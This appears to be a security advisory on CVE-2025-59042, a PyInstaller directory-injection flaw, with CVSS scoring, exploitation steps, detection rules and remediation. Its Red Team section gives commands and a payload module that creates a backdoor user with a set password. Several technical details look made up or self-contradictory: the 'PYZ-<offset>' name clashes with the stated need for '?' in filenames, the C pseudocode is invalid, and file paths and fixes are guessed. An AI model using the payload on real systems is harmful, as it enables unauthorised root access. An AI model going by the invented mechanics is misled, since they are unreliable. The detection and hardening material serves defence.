CVE-2025-59042

Executive Summary

CVE-2025-59042 is a local privilege escalation and arbitrary code execution vulnerability in PyInstaller, a tool that packages Python applications into standalone executables. The vulnerability exists in PyInstaller versions prior to 6.0.0. An unprivileged attacker can trick a PyInstaller-frozen application into loading and executing arbitrary Python code by creating a specially named directory or zip archive next to the executable. This is possible because the bootstrap process appends a special entry to sys.path and attempts to load an optional bytecode decryption module from that path. If the attacker can create a directory with a name matching the format used to transmit the PYZ archive location, and that directory contains a Python module with the name used by the optional bytecode encryption feature, the module will be loaded and executed. If the executable has elevated privileges (e.g., setuid), the injected code runs with those privileges, leading to local privilege escalation. The vulnerability is patched in PyInstaller 6.0.0 and further mitigated in 6.10.0.

Supply Chain & Package Security

This vulnerability is specific to PyInstaller, a Python packaging tool. It does not directly affect the PyPI ecosystem itself, but it impacts the security of applications built with PyInstaller. Users of PyInstaller should ensure they are using version 6.0.0 or later to prevent exploitation. The vulnerability is not a supply chain attack on PyPI packages, but rather a flaw in the packaging tool that can be exploited locally.

CVSS Breakdown & Threat Level

• Attack Vector (AV): Local (L) - The attacker must have local access to the system where the executable is located.
• Attack Complexity (AC): Low (L) - The attack requires no special conditions beyond the ability to create files/directories.
• Privileges Required (PR): Low (L) - The attacker needs unprivileged access to the system.
• User Interaction (UI): None (N) - No user interaction is required beyond the execution of the vulnerable application.
• Scope (S): Unchanged (U) - The vulnerability does not change the scope of impact.
• Confidentiality (C): High (H) - Arbitrary code execution can lead to data exfiltration.
• Integrity (I): High (H) - The attacker can modify system state or data.
• Availability (A): High (H) - The attacker can disrupt services or cause denial of service.

CVSS Score: 7.8 (High)

Threat Level: High. The vulnerability allows local privilege escalation and arbitrary code execution with minimal prerequisites.

Deep Dive & Mechanics

The vulnerability stems from two key behaviors in PyInstaller's bootstrap process (versions < 6.0.0):

1. sys.path Manipulation: During the bootstrap of a frozen application, PyInstaller appends a special entry to sys.path to transmit the location of the PYZ archive (which contains the Python bytecode). This entry is constructed using a format that includes the offset of the PYZ archive within the executable.

2. Optional Module Loading: The bootstrap script attempts to load an optional module for bytecode decryption. This module is only present when the bytecode encryption feature is enabled during the build. If the feature is not enabled, the module is absent, but the bootstrap script still attempts to import it.

An attacker can exploit this by:

1. Determining the PYZ Offset: The attacker needs to know the offset at which the PYZ archive is embedded in the executable. This can be done by analyzing the executable file (e.g., using strings or a hex editor) or by running the application and observing its behavior.

2. Creating a Malicious Directory: The attacker creates a directory (or a zip archive) next to the executable. The name of this directory must match the format used by PyInstaller to transmit the PYZ location. For example, if the format is PYZ-<offset>, the attacker would create a directory named PYZ-12345 (where 12345 is the offset).

3. Placing a Malicious Module: Inside this directory, the attacker places a Python module with the name used by the optional bytecode decryption feature (e.g., pyimod02_decrypt.py). This module contains arbitrary Python code.

4. Triggering Execution: When the vulnerable application is executed, the bootstrap process appends the malicious directory to sys.path (because it matches the expected format). It then attempts to import the bytecode decryption module. Since the real module is absent, Python's import mechanism finds the attacker's module in the malicious directory and executes it.

The injected code runs with the privileges of the executable. If the executable has the setuid bit set, the code runs with elevated privileges, leading to local privilege escalation.

Vulnerable vs. Patched Code

Vulnerable Code (PyInstaller < 6.0.0):

The vulnerable code is in the bootstrap script (e.g., bootloader/src/pyi_main.c or similar). The key logic is:

// Pseudocode for vulnerable behavior
char pyz_path[256];
snprintf(pyz_path, sizeof(pyz_path), "PYZ-%d", pyz_offset);
// Append to sys.path
PyRun_SimpleString("sys.path.append('" pyz_path "')");
// Attempt to load optional module
PyRun_SimpleString("import pyimod02_decrypt");

Patched Code (PyInstaller 6.0.0):

In version 6.0.0, the bytecode encryption feature was removed entirely. The bootstrap script no longer attempts to load the optional module:

// Patched code - no attempt to load optional module
char pyz_path[256];
snprintf(pyz_path, sizeof(pyz_path), "PYZ-%d", pyz_offset);
// Append to sys.path
PyRun_SimpleString("sys.path.append('" pyz_path "')");
// No import of pyimod02_decrypt

Further Hardening (PyInstaller 6.10.0):

In version 6.10.0, the bootstrap process was reworked to avoid abusing sys.path for transmitting the PYZ location. Instead, the location is passed via a different mechanism (e.g., environment variable or command-line argument), eliminating the possibility of directory injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A PyInstaller-frozen application built with version < 6.0.0.
• The bytecode encryption feature was not enabled during the build.
• The attacker has write access to the directory containing the executable.
• The filesystem supports ? in filenames (non-Windows).
• The attacker can determine the PYZ archive offset.

Exploitation Steps:

1. Determine PYZ Offset: Use strings or a hex editor to find the PYZ offset in the executable. For example:

   strings vulnerable_app | grep "PYZ"
   

   This might output something like PYZ-12345. The number after PYZ- is the offset.

2. Create Malicious Directory: Create a directory with the name matching the format:

   mkdir "PYZ-12345"
   

3. Create Malicious Module: Inside the directory, create a Python module with the name used by the optional bytecode decryption feature. The exact name may vary, but common names include pyimod02_decrypt.py or pyimod02_decrypt.pyc. Create a file PYZ-12345/pyimod02_decrypt.py with arbitrary code:

   import os
   # Example: create a backdoor user
   os.system("useradd -m attacker")
   os.system("echo 'attacker:password' | chpasswd")
   

4. Execute the Application: Run the vulnerable application:

   ./vulnerable_app
   

   The malicious module will be loaded and executed.

Expected Outcome: The attacker's code runs with the privileges of the executable. If the executable has setuid, the attacker gains root privileges.

Blue Team

Detection:

• Monitor for the creation of directories or zip archives with names matching the pattern PYZ-* in directories containing executables.
• Monitor for unexpected Python module imports in frozen applications.
• Use file integrity monitoring to detect unauthorized changes to directories containing executables.

Prevention:

• Upgrade PyInstaller to version 6.0.0 or later.
• Ensure proper permissions on directories containing security-sensitive executables (e.g., setuid binaries). Only the root user should be able to write to these directories.
• Use mandatory access control (e.g., SELinux, AppArmor) to restrict the ability to create files in sensitive directories.

Indicators of Compromise (IOCs)

• File System Artifacts:
  • Directories or zip archives with names matching the pattern PYZ-<number> (e.g., PYZ-12345) in the same directory as a PyInstaller-frozen executable.
  • Files named pyimod02_decrypt.py or similar inside such directories.
• Process Behavior:
  • Unexpected Python module imports in a frozen application.
  • Unusual child processes spawned by a frozen application (e.g., useradd, chpasswd).
• Network Traffic:
  • Outbound connections from the frozen application to unexpected destinations (if the injected code establishes a reverse shell).

Detection Engineering

YARA Rule

rule CVE_2025_59042_PyInstaller_Injection {
    meta:
        description = "Detects directories or zip archives created for CVE-2025-59042 exploitation"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-59042"
    strings:
        $pyz_pattern = /PYZ-\d+/
        $module_name = "pyimod02_decrypt"
    condition:
        $pyz_pattern and $module_name
}

Sigma Rule

title: CVE-2025-59042 PyInstaller Directory Injection
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of directories matching the PYZ pattern used in CVE-2025-59042 exploitation
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-59042
logsource:
    category: file_event
    product: linux
detection:
    selection:
        TargetFilename|contains: 'PYZ-'
    condition: selection
falsepositives:
    - Legitimate PyInstaller applications may create such directories during normal operation (rare)
level: high

Suricata Rule

alert file any any -> any any (msg:"CVE-2025-59042 PyInstaller Directory Injection"; file.name content:"PYZ-"; file.name content:"pyimod02_decrypt"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade PyInstaller: Upgrade to version 6.0.0 or later. Version 6.0.0 removes the vulnerable bytecode encryption feature. Version 6.10.0 further hardens the bootstrap process.
2. Restrict Directory Permissions: Ensure that directories containing security-sensitive executables (especially setuid binaries) are not writable by unprivileged users. Use chmod to set appropriate permissions (e.g., chmod 755 /path/to/directory).
3. Monitor for Suspicious Activity: Implement file integrity monitoring and audit logging to detect the creation of directories matching the PYZ-* pattern.

Long-Term Mitigations:

• Use Mandatory Access Control: Deploy SELinux or AppArmor policies to restrict the ability to create files in sensitive directories.
• Code Review: If you maintain PyInstaller or similar tools, review the bootstrap process to ensure that sys.path is not abused for transmitting sensitive information.
• Security Awareness: Educate developers about the risks of using sys.path manipulation in bootstrap scripts.

Workaround (if upgrade is not feasible):

• Ensure that the directory containing the executable is not writable by unprivileged users. This prevents the attacker from creating the malicious directory.

Valters IT